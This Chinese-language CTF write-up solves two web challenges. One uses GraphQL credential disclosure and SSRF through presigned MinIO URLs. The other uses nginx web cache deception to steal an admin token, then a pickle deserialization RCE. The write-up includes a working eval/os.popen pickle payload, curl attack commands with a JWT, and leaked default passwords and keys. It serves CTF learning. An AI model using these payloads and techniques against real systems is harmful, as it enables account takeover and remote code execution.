WEB
VidarNet
题目拿到手,发现一个对象存储还有一个http服务

老规矩,先扫描目录,看看能找到什么好东西:

发现一个graphql,这个是用来查询快捷查询数据库字段信息的开发工具,那我们可以直接查询Employee字段:

得到两个员工账号的,登录进去看看:
{
"data": {
"employees": [
{
"department": "Web",
"email": "Tremse@vidar.club",
"id": 1,
"name": "Tremse",
"private": "[INTERNAL] System account: Tremse | Default password: Tremse123 | Please reset on first login.",
"username": "Tremse"
},
{
"department": "Reverse",
"email": "shiori@vidar.club",
"id": 2,
"name": "shiori",
"private": "[INTERNAL] System account: shiori | Default password: shiori123 | Please reset on first login.",
"username": "shiori"
}
]
}
}
发现了一个对象存储信息,minio3,同时还有一个头像地址,那么很显然这是要进行SSRF,要借用那个获取头像的功能去获取存储桶内的信息。

构造payload:
import boto3
from botocore.client import Config
# 本地配置客户端,用于纯粹的数学签名计算,不实际发起网络连接
s3 = boto3.client('s3',
endpoint_url='http://127.0.0.1:9000',
aws_access_key_id='user',
aws_secret_access_key='user4OSs',
region_name='us-east-1',
# 针对 MinIO 的关键配置:强制路径风格访问
config=Config(signature_version='s3v4', s3={'addressing_style': 'path'})
)
# 生成列出存储桶 company-assets 内容的 URL
list_url = s3.generate_presigned_url(
ClientMethod='list_objects_v2',
Params={'Bucket': 'company-assets'},
ExpiresIn=3600
)
print("\n--- 把下面这长串 URL 复制到 Image URL 框里 ---")
print(list_url)

我们知道了存储桶里面存在 flag.txt 尝试进一步获取:
import boto3
from botocore.client import Config
# 本地配置客户端,用于生成带有签名的下载链接
s3 = boto3.client('s3',
endpoint_url='http://127.0.0.1:9000',
aws_access_key_id='user',
aws_secret_access_key='user4OSs',
region_name='us-east-1',
config=Config(signature_version='s3v4', s3={'addressing_style': 'path'})
)
# 目标文件名
target_file = 'flag.txt'
# 生成读取文件 (GetObject) 的预签名 URL
get_url = s3.generate_presigned_url(
ClientMethod='get_object',
Params={'Bucket': 'company-assets', 'Key': target_file},
ExpiresIn=3600
)
print(f"\n--- 把下面这段长 URL 复制到 Image URL 框里 ---")
print(get_url)
提示权限不足:

这个时候,尝试直接获取,因为往往从内网(比如127.0.0.1)直接对存储桶发起请求不进行鉴权:

得到flag

Glance,savored
这道题一开始拿到手之后一直在当XSS信息外带来做,但是后来发现并没有任何能够进行XSS的地方,偶然间在curl当中看到了X-Cache-Status: 因此找到破题关键:

使用JWT鉴权

后端用的是 python3.11 并且从api文档里面能够找到一个明显的RCE点 就是 /api/data/import,但是需要鉴权。
反复在/api/report 尝试在路径中拼接xss无果,决定使用curl获取一下页面的源码,结果发现似乎用了缓存:

那,这题会不会和缓存有关系呢?
查询资料:
nginx 缓存机制
nginx 通常配置为缓存静态资源来减轻后端压力:
# 典型配置:缓存静态文件
location ~* \.(css|js|png|jpg)$ {
proxy_cache my_cache;
proxy_pass http://backend;
}
当请求路径以 .css 结尾时,nginx 认为是静态文件,缓存响应内容,后续相同 URL 直接返回缓存,不再转发给后端。
后端路径解析差异
关键在于 nginx 和 Python 后端解析路径的方式不同:
请求: /api/profile/admin.css
nginx 看到: *.css → 静态文件 → 缓存它!
Python 看到: /api/profile/* → 路由匹配 /api/profile → 返回用户数据
Python(Flask/FastAPI)通常做前缀匹配或忽略尾部多余路径,正常返回 profile 数据。
攻击流程
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Admin │──①───→ │ nginx │──②───→ │ Python │
│ Bot │ │ (cache) │ │ backend │
└─────────┘ └─────────┘ └─────────┘
│
① Admin 访问 /api/profile/admin.css(带 admin token)
② nginx 没有缓存,转发给后端
③ 后端返回 admin 的 profile JSON(含 token)
④ nginx 看到 .css 后缀 → 缓存这个响应
┌─────────┐ ┌─────────┐
│ 攻击者 │──⑤───→ │ nginx │ ← 不转发后端,直接返回缓存
│(无token)│←─⑥── │ (cache) │
└─────────┘ └─────────┘
⑤ 攻击者访问同一 URL(无需 token)
⑥ nginx 返回缓存的 admin profile!
验证标志
在响应头里看到的:
-
X-Cache-Status: MISS → 首次请求,缓存未命中,请求被转发并缓存了响应 -
X-Cache-Status: HIT → 命中缓存,直接返回,绕过了认证 -
X-Cache-Status: BYPASS→ 正常 API 路径,nginx 不缓存
由此,我们可以构造攻击链:
Web Cache Deception → Pickle 反序列化
偷 admin token RCE 读 flag
/api/profile/x.css → /api/data/import
让 admin 访问,缓存 token 用 admin token 发送恶意 pickle
那么,我们可以先让admin去尝试访问 /api/profile/admin.css 这样的话 nginx里面现在没有缓存,会直接把请求交给python后端,这样会留下admin的token信息
curl -i -X POST "http://forward.vidar.club:30792/api/report" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <GUEST_TOKEN>" \
-d '{"url": "/api/profile/admin.css"}'

随后,尝试去访问 /api/profile/admin.css 由于刚才admin bot去访问过了这个页面,所以admin的token被加载到了缓存中,我们只要尝试访问就能命中缓存,得到admin token
curl -i -X GET "http://forward.vidar.club:30792/api/profile/admin.css" \
-H "Authorization: Bearer <GUEST_TOKEN>"

那么现在就可以进行RCE了
对于pickle反序列化:
python3 -c "
import pickle, base64
class Exploit(object):
def __reduce__(self):
return (eval, (\"__import__('os').popen('cat /flag*').read()\",))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
"
gASVRwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwrX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnKicpLnJlYWQoKZSFlFKULg==
用生成的 base64 发送:
curl -X POST http://forward.vidar.club:30792/api/data/import \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.ugcc4KzFARPVlNH1Rln55H2Swu7ubUpr5pNK7oXmPSc" \
-H "Content-Type: application/json" \
-d '{"data":"BASE64_HERE"}'

得到了flag